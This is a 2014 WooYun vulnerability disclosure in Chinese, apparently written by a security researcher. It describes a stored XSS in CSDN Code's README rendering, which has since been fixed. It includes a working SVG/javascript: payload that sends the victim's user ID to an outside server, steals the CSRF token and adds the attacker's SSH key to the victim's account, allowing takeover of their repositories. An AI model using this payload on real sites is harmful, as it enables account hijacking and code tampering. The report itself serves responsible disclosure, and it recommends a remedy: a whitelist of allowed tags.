CSDN CODE可完全控制其它用户项目内容(过程+POC代码)

漏洞详情

披露状态:

2014-02-13: 细节已通知厂商并且等待厂商处理中
2014-02-13: 厂商已经确认,细节仅向厂商公开
2014-02-23: 细节向核心白帽子及相关领域专家公开
2014-03-05: 细节向普通白帽子公开
2014-03-15: 细节向实习白帽子公开
2014-03-30: 细节向公众公开

简要描述:

最近大家都在黑github,也要关注下国内的项目托管平台嘛,比如http://code.csdn.net

详细说明:

分析过程:

1. 目测code.csdn.net可能用了GitLab,搜索了下,6.5版本之前存在README存储XSS,不过csdn不存在。

2. 刚好看到drops最新一篇文章介绍svg,随手试了下此标签,code.csdn.net的README.md支持,并且没对javascript:***过滤。

3. 查看csrf-token存在meta标签里,并且退出再登录也不会改变。

4. 修改README.md,构造获取uid(将其存储到自己服务器上,以便知道谁中招了),token,ajax请求将自己电脑的ssh public key添加到uid账户上。

5. 现在可以git修改uid用户的项目了~_^

漏洞证明:

<svg id="go" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="0" height="0"><foreignObject width="100" height="50" requiredExtensions="http://www.w3.org/1999/xhtml"><embed xmlns="http://www.w3.org/1999/xhtml" src="javascript:var user=$('#drop1').attr('href').replace('/','');new Image().src='http://bluetest.duapp.com/c.php?u='+user;var token=$('meta[name=csrf-token]').attr('content');alert(user+' '+token);$.post('/keys',{'utf8':'✓','authenticity_token':token,'key%5Btitle%5D':'jquery_1@163.com','key%5Bkey%5D':'ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtmfsjU5Yp5ohqXigrDqQeBUefBKPg1FFyw4H8pdEbZZhIxtBChT+TN3JD+/X005QvvDfhBdGhPWg/FFQxi9bRzGTESc7Ve/MkLi9GkKF5zb4kEuWyfChQHMJQ7+H1Wz9jvsoAG4/TD699UpaMn5gBy8EcjwseiOuF1Plq4xx7SMz9e/KVCynVLhbGHyYfLsuZ10yXDJGmtLn65vidmLa7VAQpk/MF08UpIFp3WmrAeaTr+fcw6enZt54FO0hJLwVME1RLbJIkHOZcuqofneUdJ01yDzlpQBYSvllUIKQ5VJMjEzhbitEWX2rfloJf2t+9nk23qff6PIxfaBVkXTbiw== jquery_1@163.com'});" /></foreignObject></svg>



1) 以上代码在firefox下使用,想兼容更多请看http://drops.wooyun.org/papers/917

2) 公钥最好再搞个访问地址返回生成的,防止已存在而冲突。(这位置csdn处理的不太合理啊,这样一个人不好参与别人的项目,我都是一public key哪里都用~)



1. https://code.csdn.net/keys 还没有ssh公钥

QQ20140213-1@2x.png



2. 访问https://code.csdn.net/u013646460/jqueryone

QQ20140213-2@2x.png



3. 再回来看看

QQ20140213-3@2x.png

修复方案:

建议过滤xss时设置白名单,只保留<a>,<strong>这些简单的,其它的全部干掉(github就是这么搞的,上啥新标签都替换为空)。

版权声明:转载请注明来源 blue@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-02-13 09:33

厂商回复:

尽快修复,多谢!

最新状态:

2014-02-25:已经修复,多谢!


漏洞评价: